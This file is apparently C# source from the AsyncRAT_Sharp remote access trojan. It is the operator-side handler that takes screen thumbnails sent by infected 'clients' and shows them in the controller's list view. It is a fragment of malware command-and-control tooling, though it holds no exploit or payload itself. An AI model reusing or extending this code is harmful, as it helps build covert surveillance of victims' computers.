52 lines
2.3 KiB
C#
52 lines
2.3 KiB
C#
using AsyncRAT_Sharp.MessagePack;
|
|
using AsyncRAT_Sharp.Sockets;
|
|
using System.Diagnostics;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using System.Windows.Forms;
|
|
|
|
namespace AsyncRAT_Sharp.Handle_Packet
|
|
{
|
|
public class HandleThumbnails
|
|
{
|
|
public HandleThumbnails(Clients client, MsgPack unpack_msgpack)
|
|
{
|
|
try
|
|
{
|
|
if (Program.form1.listView3.InvokeRequired)
|
|
{
|
|
Program.form1.listView3.BeginInvoke((MethodInvoker)(() =>
|
|
{
|
|
if (client.LV2 == null && Program.form1.GetThumbnails.Tag == (object)"started")
|
|
{
|
|
client.LV2 = new ListViewItem();
|
|
client.LV2.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]);
|
|
client.LV2.ToolTipText = client.ID;
|
|
using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes()))
|
|
{
|
|
Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
|
|
client.LV2.ImageKey = client.ID;
|
|
lock (Settings.Listview3Lock)
|
|
{
|
|
Program.form1.listView3.Items.Add(client.LV2);
|
|
}
|
|
}
|
|
}
|
|
else
|
|
{
|
|
using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes()))
|
|
{
|
|
lock (Settings.Listview3Lock)
|
|
{
|
|
Program.form1.ThumbnailImageList.Images.RemoveByKey(client.ID);
|
|
Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
|
|
}
|
|
}
|
|
}
|
|
}));
|
|
}
|
|
}
|
|
catch { }
|
|
}
|
|
}
|
|
} |